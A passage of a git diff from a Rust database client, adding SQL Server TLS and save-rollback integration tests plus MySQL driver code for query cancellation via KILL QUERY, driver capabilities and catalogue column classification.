MssqlTlsEngine { + fixture: MssqlFixture, + ca: PathBuf, + unrelated_ca: PathBuf, +} + +#[async_trait] +impl TlsConformanceEngine for MssqlTlsEngine { + fn driver() -> Arc { + Arc::new(MssqlDriver) + } + + async fn start() -> Result { + let fixture = MssqlFixture::start().await.map_err(ConformanceFailure::setup)?; + let ca = fixture.pki().path(PkiFile::Ca); + let unrelated_ca = fixture.pki().path(PkiFile::UnrelatedCa); + Ok(Self { + fixture, + ca, + unrelated_ca, + }) + } + + fn connect_options(&self, tls: TlsConfig) -> ConnectOptions { + tls_options(&self.fixture, tls) + } + + fn ca_file(&self) -> &Path { + &self.ca + } + + fn unrelated_ca_file(&self) -> &Path { + &self.unrelated_ca + } + + fn served_name(&self) -> &str { + TestPki::SERVER_NAMES[1] + } + + /// A login that offers no encryption to a server forcing it fails in + /// the handshake the server insists on. + fn plaintext_rejection_category(&self) -> ErrorCategory { + ErrorCategory::Tls + } +} + +mod suite { + use super::MssqlTlsEngine; + + tablepro_test_support::tls_conformance_suite! { + engine: MssqlTlsEngine, + client_identity: false, + } +} + +fn tls_options(fixture: &MssqlFixture, tls: TlsConfig) -> ConnectOptions { + let liveness = test_liveness(); + options_over( + direct(fixture.host(), fixture.port(), &liveness), + password(&fixture.password_credentials()), + tls, + WorkspaceSettings::workspace(false), + liveness, + ) +} + +fn verify_full(fixture: &MssqlFixture, ca: Option, server_name: &str) -> TlsConfig { + TlsConfig { + mode: TlsMode::VerifyFull, + ca_file: ca.map(|file| fixture.pki().path(file)), + client_identity: None, + server_name: Some(server_name.to_owned()), + } +} + +fn failure(outcome: &Result, DriverError>) -> Option { + match outcome { + Err(DriverError::Tls { failure, .. }) => Some(*failure), + _ => None, + } +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn verify_full_with_ca_ok() { + let fixture = start().await; + let tls = verify_full(&fixture, Some(PkiFile::Ca), TestPki::SERVER_NAMES[1]); + + let connection = dial(tls_options(&fixture, tls)).await.expect("a verified connection"); + + connection + .probe(crate::support::within(crate::support::CALL)) + .await + .expect("a probe"); + connection.close().await.expect("a close"); +} + +/// The test CA is in no system store, so the system roots alone do not +/// reach the server's certificate. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn without_ca_unknown_issuer() { + let fixture = start().await; + let tls = verify_full(&fixture, None, TestPki::SERVER_NAMES[1]); + + let outcome = dial(tls_options(&fixture, tls)).await; + + assert_eq!( + failure(&outcome), + Some(TlsFailure::UnknownIssuer), + "{:?}", + outcome.err() + ); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn disable_against_forced_encryption_server_requires_tls() { + let fixture = start().await; + + let outcome = dial(tls_options(&fixture, TlsConfig::disabled())).await; + + assert_eq!( + failure(&outcome), + Some(TlsFailure::ServerRequiresTls), + "{:?}", + outcome.err() + ); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn name_mismatch_classified() { + let fixture = start().await; + let tls = verify_full(&fixture, Some(PkiFile::Ca), "wrong.tablepro.test"); + + let outcome = dial(tls_options(&fixture, tls)).await; + + assert_eq!(failure(&outcome), Some(TlsFailure::NameMismatch), "{:?}", outcome.err()); +} diff --git a/linux/crates/drivers/mssql/tests/integration/write_batch.rs b/linux/crates/drivers/mssql/tests/integration/write_batch.rs new file mode 100644 index 0000000000..63fc3f1955 --- /dev/null +++ b/linux/crates/drivers/mssql/tests/integration/write_batch.rs @@ -0,0 +1,209 @@ +//! Saves: one transaction, a probe that proves the row is the one that +//! was read, and a stop that rolls everything back. + +use std::time::Duration; + +use tablepro_core::edit::parse_literal_text; +use tablepro_core::meta::TableRef; +use tablepro_core::save::{ChangeSet, RowUpdate, plan_save}; +use tablepro_core::{CallOptions, DriverError, ErrorCategory, Value, WriteBatch}; +use tokio::time::Instant; +use tokio_util::sync::CancellationToken; + +use crate::support::{CALL, batch, browse, columns, connect, dbo, scalar, setup, start, within}; + +async fn update_label(connection: &dyn tablepro_core::Connection, table: &TableRef, id: i64) -> WriteBatch { + let columns = columns(connection, table).await; + let identity = connection.row_identity(table, within(CALL)).await.expect("an identity"); + let label = columns + .iter() + .position(|column| column.name == "label") + .expect("a label column"); + let changes = ChangeSet { + updates: vec![RowUpdate { + key: vec![Value::Int(id)], + assignments: vec![(label, Value::Text("changed".to_owned()))], + }], + ..ChangeSet::default() + }; + plan_save(connection.dialect().as_ref(), table, &columns, &identity, &changes) + .expect("a save plan") + .batch +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn edited_xml_cell_saves() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE dbo.docs (id int PRIMARY KEY, body xml NOT NULL)", + "INSERT INTO dbo.docs VALUES (1, N'')", + ], + ) + .await; + let table = dbo("docs"); + let columns = columns(connection.as_ref(), &table).await; + let identity = connection + .row_identity(&table, within(CALL)) + .await + .expect("an identity"); + let edited = parse_literal_text("edited", &columns[1].column_type).expect("an XML edit"); + let changes = ChangeSet { + updates: vec![RowUpdate { + key: vec![Value::Int(1)], + assignments: vec![(1, edited)], + }], + ..ChangeSet::default() + }; + let save = plan_save(connection.dialect().as_ref(), &table, &columns, &identity, &changes) + .expect("a save plan") + .batch; + + connection.write_batch(&save, within(CALL)).await.expect("the save"); + + assert_eq!( + scalar(connection.as_ref(), "SELECT CAST(body AS nvarchar(max)) FROM dbo.docs").await, + Value::Text("edited".to_owned()) + ); +} + +/// A datetime keeps 1/300 s and the grid shows it to the millisecond, as +/// SQL Server does; the key read back has to find its row again. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn datetime_key_with_a_third_of_a_millisecond_saves() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE dbo.stamped (at datetime PRIMARY KEY, label nvarchar(50) NOT NULL)", + "INSERT INTO dbo.stamped VALUES ('2024-06-15T10:00:00.003', N'kept')", + ], + ) + .await; + let table = dbo("stamped"); + let columns = columns(connection.as_ref(), &table).await; + let identity = connection + .row_identity(&table, within(CALL)) + .await + .expect("an identity"); + let key = browse(connection.as_ref(), &table).await.remove(0).remove(0); + let changes = ChangeSet { + updates: vec![RowUpdate { + key: vec![key], + assignments: vec![(1, Value::Text("changed".to_owned()))], + }], + ..ChangeSet::default() + }; + let save = plan_save(connection.dialect().as_ref(), &table, &columns, &identity, &changes) + .expect("a save plan") + .batch; + + connection.write_batch(&save, within(CALL)).await.expect("the save"); + + assert_eq!( + scalar(connection.as_ref(), "SELECT label FROM dbo.stamped").await, + Value::Text("changed".to_owned()) + ); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn after_update_trigger_saves_without_false_conflict() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE dbo.items (id int PRIMARY KEY, label nvarchar(50) NOT NULL)", + "CREATE TABLE dbo.audit (id int IDENTITY PRIMARY KEY, item int)", + "CREATE TRIGGER dbo.items_audit ON dbo.items AFTER UPDATE AS \ + INSERT INTO dbo.audit (item) SELECT id FROM inserted; INSERT INTO dbo.audit (item) SELECT id FROM inserted", + "INSERT INTO dbo.items VALUES (1, N'kept')", + ], + ) + .await; + let table = dbo("items"); + + let save = update_label(connection.as_ref(), &table, 1).await; + connection.write_batch(&save, within(CALL)).await.expect("the save"); + + assert_eq!( + scalar(connection.as_ref(), "SELECT label FROM dbo.items WHERE id = 1").await, + Value::Text("changed".to_owned()) + ); + assert_eq!( + scalar(connection.as_ref(), "SELECT COUNT_BIG(*) FROM dbo.audit").await, + Value::Int(2) + ); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn probe_mismatch_rolls_back() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE dbo.items (id int PRIMARY KEY, label nvarchar(50) NOT NULL)", + "INSERT INTO dbo.items VALUES (1, N'kept')", + ], + ) + .await; + let table = dbo("items"); + let mut save = update_label(connection.as_ref(), &table, 999).await; + let first = crate::support::statement("INSERT INTO dbo.items VALUES (2, N'new')"); + save.steps + .insert(0, tablepro_core::statement::GuardedStatement::unguarded(first)); + + let outcome = connection.write_batch(&save, within(CALL)).await; + + assert!( + matches!(outcome, Err(DriverError::RowGuardFailed { actual: 0, .. })), + "{outcome:?}" + ); + assert_eq!( + scalar(connection.as_ref(), "SELECT COUNT_BIG(*) FROM dbo.items").await, + Value::Int(1) + ); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn statement_deadline_before_commit_rolls_back_trancount_zero() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup(connection.as_ref(), &["CREATE TABLE dbo.t (id int PRIMARY KEY)"]).await; + let slow = batch(&["INSERT INTO dbo.t VALUES (1)", "WAITFOR DELAY '00:00:30'"]); + let deadline = Duration::from_secs(1); + + let started = Instant::now(); + let outcome = connection + .write_batch( + &slow, + CallOptions::new(Some(Instant::now() + deadline), CancellationToken::new()), + ) + .await; + + match &outcome { + Err(DriverError::RolledBack { + statement_index, + source, + }) => { + assert_eq!(*statement_index, 1); + assert_eq!(source.category(), ErrorCategory::Timeout); + } + other => panic!("expected a rollback, got {other:?}"), + } + assert!(started.elapsed() < Duration::from_secs(5), "{:?}", started.elapsed()); + assert_eq!( + scalar(connection.as_ref(), "SELECT COUNT_BIG(*) FROM dbo.t").await, + Value::Int(0) + ); + assert_eq!(scalar(connection.as_ref(), "SELECT @@TRANCOUNT").await, Value::Int(0)); +} diff --git a/linux/crates/drivers/mysql/Cargo.toml b/linux/crates/drivers/mysql/Cargo.toml index 083c4165d2..02dc0c7979 100644 --- a/linux/crates/drivers/mysql/Cargo.toml +++ b/linux/crates/drivers/mysql/Cargo.toml @@ -14,17 +14,25 @@ tablepro-core = { path = "../../core" } tablepro-net = { path = "../../net" } async-trait.workspace = true chrono.workspace = true -futures.workspace = true +deadpool.workspace = true +futures-util.workspace = true secrecy.workspace = true sqlx = { workspace = true, features = ["mysql", "mysql-rsa", "tls-rustls-aws-lc-rs"] } +thiserror.workspace = true +tokio = { workspace = true, features = ["macros", "rt", "sync", "time"] } +tokio-util = { workspace = true, features = ["rt"] } +tracing.workspace = true [dev-dependencies] -rust_decimal.workspace = true -serde_json.workspace = true -testcontainers.workspace = true -testcontainers-modules = { workspace = true, features = ["mysql"] } -tokio = { workspace = true, features = ["macros", "rt-multi-thread"] } -uuid.workspace = true +tablepro-test-fixtures = { path = "../../test-fixtures" } +tablepro-test-support = { path = "../../test-support" } +async-trait.workspace = true +chrono.workspace = true +secrecy.workspace = true +tokio = { workspace = true, features = ["macros", "rt-multi-thread", "test-util"] } +tokio-util = { workspace = true, features = ["rt"] } +tracing.workspace = true +tracing-subscriber.workspace = true [lints] workspace = true diff --git a/linux/crates/drivers/mysql/src/cancel.rs b/linux/crates/drivers/mysql/src/cancel.rs new file mode 100644 index 0000000000..681196081c --- /dev/null +++ b/linux/crates/drivers/mysql/src/cancel.rs @@ -0,0 +1,209 @@ +use std::sync::{Arc, Mutex, MutexGuard, PoisonError}; + +use async_trait::async_trait; +use sqlx::{AssertSqlSafe, Connection as _, Executor as _}; +use tablepro_core::{ + DriverError, EngineStop, LossPhase, StopDelivery, StopReason, StopRequest, StopScope, TimeoutPhase, +}; +use tokio_util::sync::CancellationToken; + +use crate::errors::{map_error, server_number}; +use crate::physical::{MySqlPhysical, MysqlEndpoint, SessionKind, no_limits}; + +/// ER_NO_SUCH_THREAD: the connection KILL QUERY named is already gone, +/// so there is nothing left running to stop. +const NO_SUCH_THREAD: u16 = 1094; + +/// The connection KILL QUERY goes out on, opened the first time a stop +/// needs it and kept for the next. +/// +/// It reaches the server over the same route as the connection it +/// stops, so a stop through an SSH forward goes through that forward. +pub(crate) struct ControlLink { + endpoint: Arc, + connection: tokio::sync::Mutex>, +} + +impl ControlLink { + pub(crate) fn new(endpoint: Arc) -> Self { + Self { + endpoint, + connection: tokio::sync::Mutex::new(None), + } + } + + /// Stop whatever the connection `id` is running. The connection is + /// taken out while it is in use, so a stop abandoned halfway drops + /// it rather than leaving a half-read answer for the next one. + pub(crate) async fn kill_query(&self, id: u64) -> Result<(), DriverError> { + let mut held = self.connection.lock().await; + let mut physical = match held.take() { + Some(physical) => physical, + None => { + self.endpoint + .connect_physical(SessionKind::Control, &no_limits(), &CancellationToken::new()) + .await? + } + }; + let flavour = physical.flavour; + let killed = physical + .connection + .execute(AssertSqlSafe(format!("KILL QUERY {id}"))) + .await + .map_err(|error| map_error(&error, flavour)); + match killed { + Ok(_) => { + *held = Some(physical); + Ok(()) + } + Err(error) if server_number(&error) == Some(NO_SUCH_THREAD) => { + *held = Some(physical); + Ok(()) + } + Err(error) => Err(error), + } + } + + pub(crate) async fn close(&self) { + let taken = self.connection.lock().await.take(); + if let Some(physical) = taken { + let bound = self.endpoint.liveness().close_timeout; + let _ = tokio::time::timeout(bound, physical.connection.close()).await; + } + } +} + +/// How far a call's KILL QUERY got. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum StopProgress { + NotSent, + /// The call was stopped before it held a connection, so there was no + /// statement to stop. + NothingToStop, + /// The KILL was still out when the call returned: the route did not + /// open, or the server did not answer it. + InFlight, + Delivered, + Failed, +} + +/// KILL QUERY for one call. It names the connection rather than the +/// statement, so one that arrives late can hit whatever runs next there. +pub(crate) struct MySqlStop { + control: Arc, + target: Mutex>, + progress: Mutex, +} + +impl MySqlStop { + pub(crate) fn new(control: Arc) -> Self { + Self { + control, + target: Mutex::new(None), + progress: Mutex::new(StopProgress::NotSent), + } + } + + /// The connection this call runs on, once it holds one. + pub(crate) fn arm(&self, connection_id: u64) { + *lock(&self.target) = Some(connection_id); + } + + pub(crate) fn progress(&self) -> StopProgress { + *lock(&self.progress) + } + + fn set(&self, progress: StopProgress) { + *lock(&self.progress) = progress; + } +} + +#[async_trait] +impl EngineStop for MySqlStop { + fn delivery(&self) -> StopDelivery { + StopDelivery::OutOfBand(StopScope::Connection) + } + + async fn stop(&self) -> Result<(), DriverError> { + let target = *lock(&self.target); + let Some(id) = target else { + self.set(StopProgress::NothingToStop); + return Ok(()); + }; + self.set(StopProgress::InFlight); + let outcome = self.control.kill_query(id).await; + self.set(match outcome { + Ok(()) => StopProgress::Delivered, + Err(_) => StopProgress::Failed, + }); + outcome + } + + fn acknowledged(&self, error: &DriverError) -> bool { + acknowledges_stop(error, self.progress()) + } +} + +/// Whether the error is the server reporting the stop: 1317 from KILL +/// QUERY, or a statement timeout raised once the KILL had landed. +pub(crate) fn acknowledges_stop(error: &DriverError, progress: StopProgress) -> bool { + match error { + DriverError::Cancelled => true, + DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: true, + } => progress == StopProgress::Delivered, + _ => false, + } +} + +/// What a call stopped before the server answered reads as. +pub(crate) fn interrupted(request: &StopRequest) -> DriverError { + match request.reason() { + Some(StopReason::DeadlineElapsed) => DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: false, + }, + Some(StopReason::Shutdown) => DriverError::ConnectionLost { + during: LossPhase::Statement, + }, + Some(StopReason::Cancelled) | None => DriverError::Cancelled, + } +} + +fn lock(mutex: &Mutex) -> MutexGuard<'_, T> { + mutex.lock().unwrap_or_else(PoisonError::into_inner) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn a_server_timeout_acknowledges_only_a_delivered_kill() { + let timed_out = DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: true, + }; + + assert!(acknowledges_stop(&DriverError::Cancelled, StopProgress::Delivered)); + assert!(acknowledges_stop(&timed_out, StopProgress::Delivered)); + assert!(!acknowledges_stop(&timed_out, StopProgress::NotSent)); + assert!(!acknowledges_stop(&DriverError::Busy, StopProgress::Delivered)); + } + + #[test] + fn a_stop_reads_as_what_asked_for_it() { + let request = StopRequest::new(); + request.request(StopReason::DeadlineElapsed); + + assert_eq!( + interrupted(&request), + DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: false + } + ); + assert_eq!(interrupted(&StopRequest::new()), DriverError::Cancelled); + } +} diff --git a/linux/crates/drivers/mysql/src/capabilities.rs b/linux/crates/drivers/mysql/src/capabilities.rs new file mode 100644 index 0000000000..a67d655c5b --- /dev/null +++ b/linux/crates/drivers/mysql/src/capabilities.rs @@ -0,0 +1,64 @@ +use tablepro_core::meta::ObjectKind; +use tablepro_core::{ + AuthMode, CommitResolutionSupport, DriverCapabilities, EndpointKind, EstimateQuality, ReadOnlyEnforcement, + ScriptExecution, ServerNameOverride, TlsCapabilities, TlsMode, WriteAtomicity, +}; + +pub(crate) const DEFAULT_PORT: u16 = 3306; + +pub(crate) static CAPABILITIES: DriverCapabilities = DriverCapabilities { + endpoint: EndpointKind::Network { + default_port: DEFAULT_PORT, + }, + auth_modes: &[AuthMode::Password], + tls: Some(TlsCapabilities { + modes: &[TlsMode::Disable, TlsMode::Require, TlsMode::VerifyFull], + ca_file: true, + client_identity: true, + // sqlx dials and verifies the same `host`, so a name other than + // the one dialled can only be given where the dial goes to a + // socket path instead. + server_name_override: ServerNameOverride::SshForwardOnly, + }), + // A session default the user's own SET TRANSACTION can lift. + read_only: ReadOnlyEnforcement::SessionDefault, + // Row changes are transactional on InnoDB; every DDL statement + // commits on its own. + dml_writes: WriteAtomicity::Transactional, + ddl_writes: WriteAtomicity::StatementByStatement, + script_execution: ScriptExecution::NativeBatch, + commit_resolution: CommitResolutionSupport::Unavailable, + row_count_estimate: EstimateQuality::Statistics, + object_kinds: &[ + ObjectKind::Table, + ObjectKind::View, + ObjectKind::Sequence, + ObjectKind::Function, + ObjectKind::Procedure, + ], + database_required: true, +}; + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn capabilities_match_driver_contract() { + assert_eq!(CAPABILITIES.default_port(), Some(3306)); + assert!(CAPABILITIES.supports(AuthMode::Password)); + assert!(!CAPABILITIES.supports(AuthMode::Kerberos)); + let tls = CAPABILITIES.tls.expect("MySQL offers TLS"); + assert_eq!(tls.modes.len(), 3); + assert!(tls.ca_file && tls.client_identity); + assert_eq!(tls.server_name_override, ServerNameOverride::SshForwardOnly); + assert_eq!(CAPABILITIES.read_only, ReadOnlyEnforcement::SessionDefault); + assert_eq!(CAPABILITIES.dml_writes, WriteAtomicity::Transactional); + assert_eq!(CAPABILITIES.ddl_writes, WriteAtomicity::StatementByStatement); + assert_eq!(CAPABILITIES.script_execution, ScriptExecution::NativeBatch); + assert_eq!(CAPABILITIES.commit_resolution, CommitResolutionSupport::Unavailable); + assert_eq!(CAPABILITIES.row_count_estimate, EstimateQuality::Statistics); + assert_eq!(CAPABILITIES.object_kinds.len(), 5); + assert!(CAPABILITIES.database_required); + } +} diff --git a/linux/crates/drivers/mysql/src/catalog.rs b/linux/crates/drivers/mysql/src/catalog.rs new file mode 100644 index 0000000000..a6f2e84cb0 --- /dev/null +++ b/linux/crates/drivers/mysql/src/catalog.rs @@ -0,0 +1,556 @@ +//! Columns classified from MySQL's structured catalogue rather than from +//! type names. + +mod catalog_cells; +mod column_type_scan_error; +mod mysql_column_row; +mod mysql_column_type; +mod mysql_extra; +mod table_definition; + +pub(crate) use catalog_cells::CatalogCells; +pub(crate) use mysql_column_row::{MySqlColumnRow, columns_sql}; +pub(crate) use mysql_extra::{ExtraGenerated, MySqlExtra}; +pub(crate) use table_definition::{COLUMN_ENGINE_ATTRIBUTES_SQL, INBOUND_FOREIGN_KEYS_SQL, inbound_foreign_keys}; + +use sqlx::mysql::{MySql, MySqlColumn}; +use sqlx::{Column as _, Type, TypeInfo as _}; +use tablepro_core::column::{ + BoolStorage, CatalogType, ColumnDefault, ColumnInfo, ColumnKind, ColumnType, FloatWidth, IntegerKind, IntegerWidth, + ReadForm, ResultColumn, SqlExpression, SqlTypeExpr, TemporalZone, TextLength, TimeRange, has_dynamic_storage, +}; +use tablepro_core::ddl::{ + CollationName, ColumnAttributes, ColumnDefinition, ColumnVisibility, GeneratedColumn, GeneratedStorage, + IdentityStyle, UnmodeledAttribute, +}; +use tablepro_core::edit::parse_literal_text; +use tablepro_core::sql_syntax::{ + LiteralToken, MAX_EXPRESSION_LEN, MAX_TYPE_LEN, SqlGrammar, TypeShape, parse_expression, parse_type, +}; +use tablepro_core::value::Value; + +use crate::flavour::MySqlFlavour; +use crate::mysql_timestamp_mode::MySqlTimestampMode; +use mysql_column_type::scan; + +/// The catalogue's facts that decide a kind, apart from the rest of the +/// row so a draft type can be classified the same way. +#[derive(Debug, Clone, Default)] +pub(crate) struct TypeFacts<'a> { + pub data_type: &'a str, + pub column_type: &'a str, + pub numeric_precision: Option, + pub numeric_scale: Option, + pub datetime_precision: Option, + pub character_maximum_length: Option, + /// `None` is the `binary` charset, which holds bytes. + pub has_character_set: bool, +} + +impl<'a> TypeFacts<'a> { + fn of(row: &'a MySqlColumnRow) -> Self { + Self { + data_type: &row.data_type, + column_type: &row.column_type, + numeric_precision: row.numeric_precision, + numeric_scale: row.numeric_scale, + datetime_precision: row.datetime_precision, + character_maximum_length: row.character_maximum_length, + has_character_set: row.character_set.is_some(), + } + } +} + +/// What a column holds. A COLUMN_TYPE that does not scan, or a type this +/// build does not know, is `Other` read as the server's text, never a +/// guess. +pub(crate) fn classify(facts: &TypeFacts<'_>) -> ColumnKind { + let Ok(scanned) = scan(facts.data_type, facts.column_type) else { + return ColumnKind::Other; + }; + let integer = |width| { + ColumnKind::Integer(IntegerKind { + width, + signed: !scanned.unsigned, + }) + }; + let length = |make: fn(u32) -> TextLength| { + facts + .character_maximum_length + .map_or(TextLength::Unbounded, |length| make(saturating_u32(length))) + }; + let textual = |length: TextLength| match facts.has_character_set { + true => ColumnKind::Text { length }, + false => ColumnKind::Bytes { length }, + }; + let fraction = facts + .datetime_precision + .map(|digits| u8::try_from(digits).unwrap_or(u8::MAX)); + match facts.data_type.to_ascii_lowercase().as_str() { + "tinyint" if scanned.args.as_deref() == Some("1") => ColumnKind::Bool(BoolStorage::Integer), + "tinyint" => integer(IntegerWidth::W8), + "smallint" => integer(IntegerWidth::W16), + "mediumint" => integer(IntegerWidth::W24), + "int" | "integer" => integer(IntegerWidth::W32), + "bigint" => integer(IntegerWidth::W64), + // An unsigned DECIMAL keeps the modifier only in its declaration: + // the server enforces the range. + "decimal" | "numeric" | "fixed" => ColumnKind::Decimal { + precision: facts.numeric_precision.map(saturating_u32), + scale: facts.numeric_scale.map(saturating_u32), + }, + "float" => ColumnKind::Float(FloatWidth::F32), + "double" | "real" | "double precision" => ColumnKind::Float(FloatWidth::F64), + "year" => ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W16, + signed: false, + }), + "bit" => ColumnKind::BitString { + length: facts.numeric_precision.map(saturating_u32), + varying: false, + }, + "geometry" | "point" | "linestring" | "polygon" | "multipoint" | "multilinestring" | "multipolygon" + | "geometrycollection" | "geomcollection" => ColumnKind::Spatial, + "char" => textual(length(TextLength::Fixed)), + "varchar" => textual(length(TextLength::Varying)), + "tinytext" | "text" | "mediumtext" | "longtext" => textual(TextLength::Unbounded), + "binary" => ColumnKind::Bytes { + length: length(TextLength::Fixed), + }, + "varbinary" => ColumnKind::Bytes { + length: length(TextLength::Varying), + }, + "tinyblob" | "blob" | "mediumblob" | "longblob" => ColumnKind::Bytes { + length: TextLength::Unbounded, + }, + "enum" | "set" => labels(facts.column_type).unwrap_or(ColumnKind::Other), + "date" => ColumnKind::Date, + "time" => ColumnKind::Time { + fractional_digits: fraction, + with_offset: false, + range: TimeRange::Duration, + }, + "datetime" => ColumnKind::Timestamp { + fractional_digits: fraction, + zone: TemporalZone::Naive, + }, + // Workspace sessions read TIMESTAMP in UTC, so it is an instant. + "timestamp" => ColumnKind::Timestamp { + fractional_digits: fraction, + zone: TemporalZone::Offset, + }, + // MySQL normalises a document as it stores it, as jsonb does. + "json" => ColumnKind::Json { binary: true }, + _ => ColumnKind::Other, + } +} + +/// ENUM and SET members through sqlparser's MySQL dialect, which +/// unescapes `''` and backslashes. COLUMN_TYPE never carries modifiers +/// on these. +fn labels(column_type: &str) -> Option { + match parse_type(SqlGrammar::MySql, column_type, MAX_TYPE_LEN).ok()?.shape { + TypeShape::Enum { members } => Some(ColumnKind::Enum { + labels: members, + multiple: false, + }), + TypeShape::Set { members } => Some(ColumnKind::Enum { + labels: members, + multiple: true, + }), + _ => None, + } +} + +fn saturating_u32(value: u64) -> u32 { + u32::try_from(value).unwrap_or(u32::MAX) +} + +pub(crate) fn column_type(facts: &TypeFacts<'_>) -> ColumnType { + let kind = classify(facts); + let read_form = match kind { + ColumnKind::Other => ReadForm::ServerText, + _ => ReadForm::Native, + }; + ColumnType { + name: facts.column_type.to_owned(), + dynamic_storage: has_dynamic_storage(&kind), + kind, + catalog: Some(CatalogType { + declaration: SqlTypeExpr::from_catalog_text(facts.column_type), + cast_target: SqlTypeExpr::from_catalog_text(facts.data_type), + }), + read_form, + } +} + +pub(crate) fn column_info(row: &MySqlColumnRow, flavour: MySqlFlavour) -> ColumnInfo { + let column_type = column_type(&TypeFacts::of(row)); + let extra = MySqlExtra::parse(&row.extra); + let generated = extra.generated.is_some() || row.generation_expression.is_some(); + let default = match generated { + true => ColumnDefault::None, + false => classify_default(row.default.as_deref(), &column_type, &extra, flavour), + }; + ColumnInfo { + name: row.name.clone(), + column_type, + nullable: row.nullable, + primary_key: row.column_key == "PRI", + is_auto_increment: extra.auto_increment, + is_generated: generated, + default, + comment: row.comment.clone(), + } +} + +/// The column with everything the structure tab edits. `unmodeled` adds +/// what the table's own catalogue rows said about it. +pub(crate) fn column_definition( + row: &MySqlColumnRow, + flavour: MySqlFlavour, + unmodeled: Vec, +) -> ColumnDefinition { + let extra = MySqlExtra::parse(&row.extra); + let generated = extra.generated.map(|storage| match storage { + ExtraGenerated::Virtual => GeneratedStorage::Virtual, + ExtraGenerated::Stored | ExtraGenerated::Persistent => GeneratedStorage::Stored, + }); + let mut all_unmodeled: Vec = extra.unmodeled.iter().map(UnmodeledAttribute::new).collect(); + all_unmodeled.extend(unmodeled); + let attributes = ColumnAttributes { + collation: row + .collation + .as_ref() + .map(|name| CollationName::new(None, name.clone())), + character_set: row.character_set.clone(), + on_update: extra + .on_update + .as_ref() + .map(|expression| SqlExpression::from_catalog_text(expression.as_str())), + generated: generated.and_then(|storage| { + row.generation_expression.as_ref().map(|expression| GeneratedColumn { + expression: SqlExpression::from_catalog_text(expression.as_str()), + storage, + }) + }), + visibility: match extra.invisible { + true => ColumnVisibility::Invisible, + false => ColumnVisibility::Visible, + }, + spatial_reference: row.srs_id.and_then(|srid| u32::try_from(srid).ok()), + identity: match extra.auto_increment { + true => IdentityStyle::AutoIncrementKeyword, + false => IdentityStyle::None, + }, + unmodeled: all_unmodeled, + ..ColumnAttributes::default() + }; + ColumnDefinition::new(column_info(row, flavour), attributes) +} + +/// A DEFAULT as a value the insert path can bind where it is a literal, +/// and as the server's expression otherwise. +/// +/// MySQL 8 lists a literal default as its bare text and marks an +/// expression with DEFAULT_GENERATED. MariaDB quotes a string literal +/// and writes NULL for no default, so the quoting is what decides. +pub(crate) fn classify_default( + text: Option<&str>, + column_type: &ColumnType, + extra: &MySqlExtra, + flavour: MySqlFlavour, +) -> ColumnDefault { + let Some(text) = text else { + return ColumnDefault::None; + }; + let expression = || ColumnDefault::Expression(SqlExpression::from_catalog_text(text)); + match flavour { + MySqlFlavour::MySql if extra.default_generated => expression(), + MySqlFlavour::MySql => match &column_type.kind { + // The text is the value, spaces and all, and an empty one is + // the empty string rather than no default. + ColumnKind::Text { .. } | ColumnKind::Enum { .. } => ColumnDefault::Literal(Value::Text(text.to_owned())), + _ => literal(text.trim(), column_type).unwrap_or_else(expression), + }, + MySqlFlavour::MariaDb => { + if text.eq_ignore_ascii_case("NULL") { + return ColumnDefault::None; + } + let Ok(parsed) = parse_expression(SqlGrammar::MySql, text, MAX_EXPRESSION_LEN) else { + return expression(); + }; + let literal_text = match parsed.literal { + None => return expression(), + Some(LiteralToken::Null) => return ColumnDefault::None, + Some(LiteralToken::Text(text)) => text, + Some(LiteralToken::Number(number)) => number.to_string(), + Some(LiteralToken::Boolean(flag)) => flag.to_string(), + }; + match &column_type.kind { + ColumnKind::Text { .. } | ColumnKind::Enum { .. } => ColumnDefault::Literal(Value::Text(literal_text)), + _ => literal(&literal_text, column_type).unwrap_or_else(expression), + } + } + } +} + +fn literal(text: &str, column_type: &ColumnType) -> Option { + match parse_literal_text(text, column_type) { + Ok(Value::Null) | Err(_) => None, + Ok(value) => Some(ColumnDefault::Literal(value)), + } +} + +/// A column of a result set, typed from what the server sent with it. +/// It has no catalogue entry, so nothing splices it into SQL. +pub(crate) fn result_column(column: &MySqlColumn, timestamps: MySqlTimestampMode) -> ResultColumn { + let type_info = column.type_info(); + let name = type_info.name(); + let signed = !>::compatible(type_info); + let integer = |width| ColumnKind::Integer(IntegerKind { width, signed }); + let kind = match name.trim_end_matches(" UNSIGNED") { + "BOOLEAN" => ColumnKind::Bool(BoolStorage::Integer), + "TINYINT" => integer(IntegerWidth::W8), + "SMALLINT" => integer(IntegerWidth::W16), + "MEDIUMINT" => integer(IntegerWidth::W24), + "INT" => integer(IntegerWidth::W32), + "BIGINT" => integer(IntegerWidth::W64), + "YEAR" => ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W16, + signed: false, + }), + "FLOAT" => ColumnKind::Float(FloatWidth::F32), + "DOUBLE" => 